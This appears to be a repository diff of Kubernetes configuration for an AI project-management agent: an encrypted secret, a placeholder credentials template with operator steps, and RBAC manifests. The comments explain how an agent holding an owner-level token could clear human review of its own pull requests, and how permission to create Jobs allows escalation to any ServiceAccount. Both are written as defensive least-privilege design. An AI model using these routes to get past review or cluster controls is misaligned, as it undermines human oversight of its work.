claude-code-oauth-token: ENC[AES256_GCM,data:2PjA5MOx8Enm4wxqYdJ3QY8juqPkXh4adQv3IRtw1Nb2Dw6SkOFc,iv:ZSlefJZqCN7g17D+27VkkVYu8F1umM7JOG+f/crZtsE=,tag:QyNYIbHr+ANS0Rx4USa0Iw==,type:str]
sops:
kms: []
gcp_kms: []
azure_kv: []
hc_vault: []
age:
- recipient: age175l8mdpdfu7hq0aml3exs3gykarwjmuvr23sq56s3wjejnyk44wsp4mfzg
enc: |
-----BEGIN AGE ENCRYPTED FILE-----
YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSAzWU5GUXR1dG53dnNPMG0z
VnhGY2hYcmJuaWhaM0RjT0dvbU5ZSXVLVEdrCnEveWNpNWFvL2UwMExvUGlNaEo1
NSthTWwxaFJNU2JyUEV6djRFY1dmeUEKLS0tIExNWFlJbHF6bHNNNUFDL0JHZ2R3
V3d1UGVsTlljS3lHbFRkUWE4aVdRSDAK3vlChFXHg+jOJyjzUBZ4F4NqIn8rr5xl
WAH9bgY14yvX8qm3P4iLeFecNssqUvs2hvDW82vhMfUQlqYpTTXyjQ==
-----END AGE ENCRYPTED FILE-----
lastmodified: "2026-10-06T03:09:21Z"
mac: ENC[AES256_GCM,data:lKj3CtZ3fCvOwuJSeNb5x8dj+5O0Uhfyoir+ZfIGD52xgeTWtmQ6CmOVbtrYjp1h1dgZnWopbibfMIKE9AmjSAHA7UJOen++zcy4qrA8Yh8xGzfhb1tOJplxZP+Lp9319VYQHqXqOScs7at8Osnw2RYuibW/j6eIY0B17JzIXvo=,iv:14aKtsMd9Q6QqnWVszoi+W2+z4QPfXUd7oZfK46+gRM=,tag:NwBg43/vNeFlgHmNLB7rYw==,type:str]
pgp: []
encrypted_regex: ^(data|stringData)$
version: 3.9.4
platform/pm-agent/pm-agent-credentials.sops.yaml.example
+117
View File
@@ -0,0 +1,117 @@
# =============================================================================
# TEMPLATE — NOT APPLIED, NOT ENCRYPTED (`.yaml.example` is ignored by kustomize and is
# never auto-encrypted by SOPS). Reference scaffold + OPERATOR HAND-OFF.
#
# WHAT THIS IS: the two credentials the PM agent service holds, and the only two. The
# dispatcher and every worker read both by name (R-IDP-04); nothing else in this repository
# references them.
#
# THE COMMITTED `pm-agent-credentials.sops.yaml` HOLDS PLACEHOLDERS. It is encrypted to the
# repository's age recipient so the kustomization builds and Flux reconciles, but its values
# are the obviously-impossible strings below. Until the operator replaces them the service
# is INERT and says so: the dispatcher authenticates to Gitea at startup, fails, and
# CrashLoops with `GET /user returned no login — is GITEA_TOKEN valid?` in its log. That is
# deliberate — a service that quietly did nothing would be worse than one that visibly
# cannot start.
#
# =============================================================================
# HAND-OFF STEPS (operator)
# =============================================================================
#
# (1) CREATE A DEDICATED GITEA ACCOUNT FOR THE AGENT. Do NOT reuse `jakman85`, and do NOT
# reuse the existing `gitea-admin` agent account. Both hold `owner` permission on this
# repository, and `infra/gitea/approval-policy.json` authorises `/approve-override` by
# LIVE PERMISSION ALONE — so a token belonging to either would let this service clear
# the sensitive-path human review on its own pull requests. CLAUDE.md §1 forbids an agent
# doing that in the strongest terms it has, and the cheapest way to make it impossible
# rather than forbidden is for the token's account not to have the permission.
#
# Gitea -> Site Administration -> Identity & Access -> User Accounts -> Create
# username: pm-agent (any name; it appears as the author of every comment)
# NOT an administrator
# Then add it to THIS REPOSITORY as a collaborator with permission `Write`:
# Repository -> Settings -> Collaborators -> add `pm-agent`, access `Write`
#
# Verify, do not assume (CLAUDE.md §2b) — this must print `write`, never `admin` or
# `owner`:
#
# curl -s -H "Authorization: token <the token from step 2>" \
# https://gitea.home.keithjackson.dev/api/v1/repos/Home-Network/home-network-k3s-impl/collaborators/pm-agent/permission \
# | python3 -c 'import json,sys; print(json.load(sys.stdin).get("permission"))'
#
# HONEST LIMIT, read it before deciding this is enough: `Write` in Gitea includes the
# ability to MERGE a pull request, and no token scope separates "push a branch and open a
# pull request" from "merge it". The service never issues a merge call — pm-worker's code
# is the whole set of API calls it makes, and there is no merge among them — but that is
# a property of the code, not of the credential. What the permission level DOES buy
# structurally is the override: a non-admin account cannot clear the sensitive-path
# review, so a sensitive-path pull request from this agent correctly sits unmergeable
# until a human reviews it.
#
# (2) MINT THE GITEA TOKEN as that user (log in as `pm-agent`, or use the admin API to
# create a token for it): Settings -> Applications -> Generate New Token.
#
# Scopes: `write:repository` and `write:issue`. Nothing else — in particular NOT
# `write:admin`, NOT `write:organization`, NOT `write:user`.
#
# `write:repository` covers the clone, the branch push and the pull-request create;
# `write:issue` covers reading and posting issue comments. (The repository's OTHER CI
# token, `SETTINGS_API_TOKEN`, is a separate credential with `read:admin` — do not
# conflate them, and do not give this service that one. The 2026-10-02 measurement on
# PR #38 recorded in infra/gitea/approval-policy.json is about that token, not this one.)
#
# (3) MINT THE ANTHROPIC SUBSCRIPTION TOKEN. This service authenticates with a Claude
# SUBSCRIPTION (Pro, Max, Team or Enterprise), not with a Console API key. On a machine
# where you can complete a browser login:
#
# claude setup-token
#
# It opens the normal authorisation flow, prints a ONE-YEAR OAuth token, and saves it
# nowhere. Copy it into `claude-code-oauth-token` below.
#
# THREE THINGS ABOUT THIS TOKEN:
# * It EXPIRES after a year, with no in-cluster warning: Claude Code's expiry notice
# only appears for an interactive `/login` credential, never for this variable. Put
# the date in the handoff entry and in runbooks/pm-agent.md; when it lapses, every
# session fails at once and the only symptom is worker Jobs failing to authenticate.
# * It must NOT be accompanied by an `ANTHROPIC_API_KEY`. Claude Code's credential
# precedence puts an API key ABOVE this variable, so a stray key would silently
# take over and bill elsewhere (or fail). pm-worker unsets both API-key variables
# before it starts a session, and the image sets neither.
# * Usage counts against the subscription seat's own limits, shared with every other
# place that seat is used. That is the real reason PM_MAX_ACTIVE_WORKERS defaults to
# 2 — several concurrent Claude Code sessions on one seat contend for the same
# account limits, and a rate-limited worker fails mid-assignment.
#
# (4) COPY, FILL, ENCRYPT, COMMIT:
#
# cp platform/pm-agent/pm-agent-credentials.sops.yaml.example \
# platform/pm-agent/pm-agent-credentials.sops.yaml
# $EDITOR platform/pm-agent/pm-agent-credentials.sops.yaml # the two real values
# sops -e -i platform/pm-agent/pm-agent-credentials.sops.yaml
#
# The root `.sops.yaml` creation rule matches this path and encrypts only `data`/
# `stringData`, so the diff stays reviewable. NEVER `sops -d` this file into a terminal,
# a log or a transcript (CLAUDE.md §6), and never print the Secret's `.data` when
# checking that it exists — list key names only.
#
# It is already listed under `resources:` in platform/pm-agent/kustomization.yaml, so
# replacing the placeholder file is the whole change.
#
# (5) ROTATION. Both values are independent. To rotate either, repeat its step, re-encrypt,
# and merge — Flux updates the Secret and the dispatcher's pod must then be restarted to
# re-read it (a Secret change does not roll a Deployment by itself). The worker Jobs pick
# the new value up on their next run with no action at all.
# =============================================================================
apiVersion: v1
kind: Secret
metadata:
name: pm-agent-credentials
namespace: pm-agent
type: Opaque
stringData:
# Gitea token for the dedicated, NON-ADMIN `pm-agent` account.
# Scopes: write:repository, write:issue.
gitea-token: REPLACE-ME-gitea-token
# Output of `claude setup-token` on a subscription account. One year's validity.
claude-code-oauth-token: REPLACE-ME-claude-code-oauth-token
platform/pm-agent/rbac.yaml
+126
View File
@@ -0,0 +1,126 @@
---
# =============================================================================
# Two identities for the PM agent service, and the whole point is how little each holds.
# Serves R-SEC-02 (least privilege for workload identities).
#
# pm-agent the dispatcher. Needs to create and observe worker Jobs in its OWN
# namespace. Nothing else, anywhere.
# pm-agent-worker the per-assignment worker. Holds NO Kubernetes rights at all — no
# Role, no RoleBinding, not even a mounted token.
#
# THE ESCALATION THIS LAYOUT EXISTS TO BOUND, and why RBAC alone cannot close it.
#
# Kubernetes places NO `use` check on a Pod's `serviceAccountName`. So any principal that can
# `create jobs` in a namespace can create a Job that runs as ANY ServiceAccount in that
# namespace, with an arbitrary command. "Can create Jobs" is therefore equivalent to "can run
# arbitrary code as the most privileged SA in the namespace", no matter how narrow the
# creator's own Role looks. That is exactly the finding recorded in
# conformance/incluster/rbac.yaml for the conformance trigger, and it applies here verbatim.
#
# This service answers it in two ways at once:
#
# 1. There is no privileged SA in the namespace to escalate TO. `pm-agent-worker` is bound
# to nothing, so even a Job with a shell as its command and that SA attached gets no API
# access — and `automountServiceAccountToken: false` in the committed Job template means
# no token is projected into the pod either. The prize is empty.
# 2. platform/kyverno/admission/pm-agent-job-shape.yaml constrains the SHAPE of what
# `pm-agent` may create: the digest-pinned image, the pinned command with no args, that
# SA, no token, no extra volume, no init or ephemeral container, and only the committed
# env names. That policy is the security boundary; this file is the necessary half.
#
# DO NOT grant this Role without that policy reconciled and ENFORCING, and do not bind
# anything to `pm-agent-worker`. If a worker ever genuinely needs to read something from the
# API, that is a reviewed change to the boundary — and it should be questioned hard, because
# a worker's job is to write git, not to touch the cluster.
#
# Namespaced Roles only. There is no ClusterRole here, deliberately: nothing this service
# does is cluster-scoped, and the absence is the control.
# =============================================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: pm-agent
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
annotations:
pm-agent.homelab.keithjackson.dev/audit: >-
The dispatcher identity. It may create worker Jobs in this namespace and watch them.
Its blast radius is bounded by the admission policy pm-agent-job-shape, NOT by this
Role — widen neither without the other, and review both.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pm-agent
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
rules:
# Create one worker Job per assignment, and read back which Jobs are still running.
#
# `create` cannot be constrained by resourceNames (the name is not known until the object
# exists), which is the structural reason the admission policy has to exist.
#
# `get`/`list` are load-bearing, not conveniences: the dispatcher's concurrency cap and its
# "a worker is already on this issue" check are both answered by listing Jobs, and its
# issue -> branch memory is the annotation it reads back off the Job it created. Without
# them it would duplicate work on every poll.
- apiGroups: [batch]
resources: [jobs]
verbs: [create, get, list, watch]
# NOTHING ELSE, and three absences are deliberate:
# no `delete` on jobs — a dispatcher that can delete can hide a failed run. Finished
# Jobs are reaped by ttlSecondsAfterFinished in the template, by
# the Job controller, on a clock nothing here can influence.
# no `patch`/`update` — the shape admission approved must stay the shape that runs.
# no pods, pods/log,
# pods/exec, secrets,
# configmaps — the dispatcher reads its own config from its own env and the
# thread from Gitea. An execution channel into a worker pod, or a
# read over Secrets, would serve nothing it actually does.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: pm-agent
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent
app.kubernetes.io/part-of: pm-agent
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: pm-agent
subjects:
- kind: ServiceAccount
name: pm-agent
namespace: pm-agent
---
# THE WORKER IDENTITY — deliberately bound to NOTHING.
#
# It exists only because a Pod must name a ServiceAccount, and because naming a dedicated
# one is what lets the admission policy require it: a Job that tried to run as `pm-agent`
# (which CAN create Jobs, and so could fork itself without limit) is DENIED.
#
# `automountServiceAccountToken: false` here as well as in the Job template. The template's
# setting is what actually takes effect; this one is the fallback for any pod in this
# namespace that forgets, and it documents the intent at the identity rather than only at
# one use of it.
apiVersion: v1
kind: ServiceAccount
metadata:
name: pm-agent-worker
namespace: pm-agent
labels:
app.kubernetes.io/name: pm-agent-worker
app.kubernetes.io/part-of: pm-agent
annotations:
pm-agent.homelab.keithjackson.dev/audit: >-
INTENTIONALLY POWERLESS. No Role and no RoleBinding reference this ServiceAccount, and
no token is mounted into the pods that use it. A worker runs model-authored code
against a git repository; it holds a Gitea token and an Anthropic subscription token,
and nothing else. Binding any Role to this SA is a change to the security boundary.
automountServiceAccountToken: false